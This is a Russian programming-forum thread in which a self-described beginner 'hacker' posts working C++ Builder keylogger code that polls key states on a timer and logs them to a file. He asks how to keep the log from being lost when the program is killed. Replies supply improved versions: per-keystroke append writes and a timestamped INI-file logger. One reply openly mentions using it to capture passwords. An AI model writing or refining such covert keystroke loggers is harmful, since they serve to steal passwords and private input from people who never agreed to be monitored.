Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
6 / 6 / 3
Регистрация: 03.01.2012
Сообщений: 449

Клавиатурный шпиён, незнаю как сделать запись в файл. не каждую же букву писать?

11.10.2018, 14:24. Показов 525. Ответов 4
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
знаю я про ваши правила, поэтому сразу же говорю так - а я для себя его делаю, я начинающий хацкер и делаю это во имя добра
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <stdio.h>
 
FILE *f;
int arr[] = {0x0D,0x10,0x11,0x12,0x14,0x1B,0x20,0x25,0x26,0x27,0x28,0x2E,0x30,
0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,
0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,
0x58,0x59,0x5A,0x5F,0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0xA0,0xA1,
0xA2,0xA3}; // тут я написал какие именно кнопки буду отслеживать, ну не будуж я цикл на все 128 символов делать да, не люблю я быстронаписанный быдло код 
 
TForm1 *Form1;
 
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
    : TForm(Owner)
{
    f = fopen("123.txt","w+");
}
//---------------------------------------------------------------------------
 
// таймер на 250мс
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    int index;
    for(int i = 0;i<sizeof(arr)/sizeof(int);i++)
        if(GetAsyncKeyState(arr[i])!=0)
        {
            fprintf(f, "%c",arr[i]);
            break;
        }
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
    fclose(f);
}


код работает всё ок... но вот только записывает он при закрытии окна, а так как никто программу закрывать правильным способом не будет, то она не успевает сделать fclose(f); и файл остаётся пустым... есть предложения?
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
11.10.2018, 14:24
Ответы с готовыми решениями:

Перевод с С++ на делфи не получается у меня не правильно перевожу уже незнаю как писать
if (Sender == Button_add ) { int va,vb,vc; va - Edit_a-&gt;Text.ToInt(); vb - Edit_b-&gt;Text.ToInt(); vc - Edit_c-&gt;Text.ToInt(); ...

Поочереди сделать каждую букву строки заглавной
Допустим есть строка str=&quot;hello&quot; Нужно поочереди сделать каждую букву заглавной и сделать список: Вот я делаю цикл где заменяю...

Проверить программу: сделать заглавной каждую букву каждого слова
Нужно проверить работает программа или нет. Задание: Дан текст.Сделать заглавной каждую букву каждого слова, начинается с заглавной...

4
Практикантроп
 Аватар для nick42
4841 / 2726 / 534
Регистрация: 23.09.2011
Сообщений: 5,798
11.10.2018, 15:24
Цитата Сообщение от lips Посмотреть сообщение
так как никто программу закрывать правильным способом не будет, то она не успевает сделать fclose(f);
- вот это не очень понятно. Ну, добавь на form-destroy ещё закрытие. И вместо w+ я бы поставил a для дозаписи в существующий файл (если так надо...). И не вполне корректно "код работает" на мой взгляд, - бывает, что символы не в том порядке записывает (если охота пароль "хацкернуть", то обструкция может получиться)

Добавлено через 24 минуты
П.С. хотя нет, - на FormCloseQuery правильней. А вообще - всё не так
1
51 / 39 / 15
Регистрация: 20.09.2018
Сообщений: 163
12.10.2018, 12:01
В линуксах можно отлавливать сигнал SIG_TERM (уничтожение процесса) и писать его обработчик. Поройся в этом направлении только под виндой. Наверняка приложению отправляется какой-то сигнал или сообщение перед его уничтожением. И в обработчик этого сообщение вставь fclose
На MSDN во че пишут:

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdlib.h>  
#include <signal.h>  
#include <tchar.h>  
  
void SignalHandler(int signal)  
{  
    if (signal == SIGABRT) {  
        // abort signal handler code  
    } else {  
        // ...  
    }  
}  
  
int main()  
{  
    typedef void (*SignalHandlerPointer)(int);  
  
    SignalHandlerPointer previousHandler;  
    previousHandler = signal(SIGABRT, SignalHandler);  
  
    abort();  
}
0
6 / 6 / 3
Регистрация: 03.01.2012
Сообщений: 449
12.10.2018, 12:03  [ТС]
Цитата Сообщение от nick42 Посмотреть сообщение
на FormCloseQuery
так тоже не работает если прервать.... в той же рад студии если на красную кнопку нажимать reset то в файле уже ничего нет... при выключении компа тоже самое ведь будет
пока что сделано вот так ... но может быть можно лучше?
C++
1
2
3
4
5
6
7
8
9
10
11
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    for(int i = 0;i<sizeof(arr)/sizeof(int);i++)
        if(GetAsyncKeyState(arr[i])!=0)
        {
            f = fopen("123.txt","a");
            fprintf(f, "%c",arr[i]);
            fclose(f);
            break;
        }
}
0
Практикантроп
 Аватар для nick42
4841 / 2726 / 534
Регистрация: 23.09.2011
Сообщений: 5,798
12.10.2018, 13:28
Сильно сомневаюсь, что будет надёжно работать такая фиксация ( при аппаратном сбросе!! ).
Можешь ещё попробовать использовать ини-файл, например так:
Кликните здесь для просмотра всего текста
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//---------------------------------------------------------------------------
 
  int  arr[] = {0x0D,0x10,0x11,0x12,0x14,0x1B,0x20,0x25,0x26,0x27,0x28,0x2E,0x30,
0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x41,0x42,0x43,0x44,0x45,0x46,0x47,
0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F,0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,
0x58,0x59,0x5A,0x5F,0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0xA0,0xA1,
0xA2,0xA3}; // тут я написал какие именно кнопки буду отслеживать
    TIniFile *Ini;    /*  #include  <IniFiles.hpp>   */
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
    int Bn,i;
    if(!Ini) Ini=new TIniFile("1234.txt") ;
    for(Bn=0,i=0;i<sizeof(arr)/sizeof(int);i++)
      if(GetAsyncKeyState(arr[i])!=0) Bn= arr[i];
    if(!Bn) return;
    Ini->WriteString("FromKeyboard",FormatDateTime(
       "dd-hh.nn.ss,zzz",Now()),Bn>31 ? (String)char(Bn) : IntToHex(Bn,2));
    Ini->UpdateFile();
} 
//---------------------------------------------------------------------------

По крайней мере дозапись в файл по таймеру при нажатой клавише. Но для надёжности лучше записывать не в один файл. И имей в виду, что файл будет записываться в папку Windows, если путь к нему не указать принудительно.
2
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
12.10.2018, 13:28
Помогаю со студенческими работами здесь

Поменять каждую согласную русскую букву на цифру «8», а каждую гласную – на символ «–»
Ввести строку с клавиатуры. Вывести средний символ строки. Поменять каждую согласную русскую букву на цифру «8», а каждую гласную – на...

Поменять каждую согласную русскую букву на цифру «8», а каждую гласную – на символ «–»
Задание: Поменять каждую согласную русскую букву на цифру «8», а каждую гласную – на символ «–» #include &quot;stdafx.h&quot; #include...

Файл: Как можно сделать запись в файл через указанный путь?
Как можно сделать запись в файл через указанный путь? Вот код для записи в ресурсы. Нужно переделать sf2.Write(Resources.soft,...

Считать текст из файла и записать его в другой файл, заменив каждую первую букву слов
Доброго времени суток Нуждаюсь в помощи. Есть задание: программа должна считывать английский текст из файла и записывать его в другой...

Проблемы с компом, незнаю почему, хочу апнуть, незнаю как
Мой компьютер на данный момент: Мамка: H-alpinia-rs780l-uatx-101 Проц: AMD Athlon(tm) II x3 440 Processor 3.00 GHz Оперативка: 4...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
5
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий
8Observer8 02.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11680&amp;d=1772460536 Одним из. . .
Реалии
Hrethgir 01.03.2026
Нет, я не закончил до сих пор симулятор. Эта задача сложнее. Не получилось уйти в плавсостав, но оно и к лучшему, возможно. Точнее получалось - но сварщиком в палубную команду, а это значит, в моём. . .
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
SDL3 для Web (WebAssembly): Сборка библиотек: SDL3, Box2D, FreeType, SDL3_ttf, SDL3_mixer и SDL3_image из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru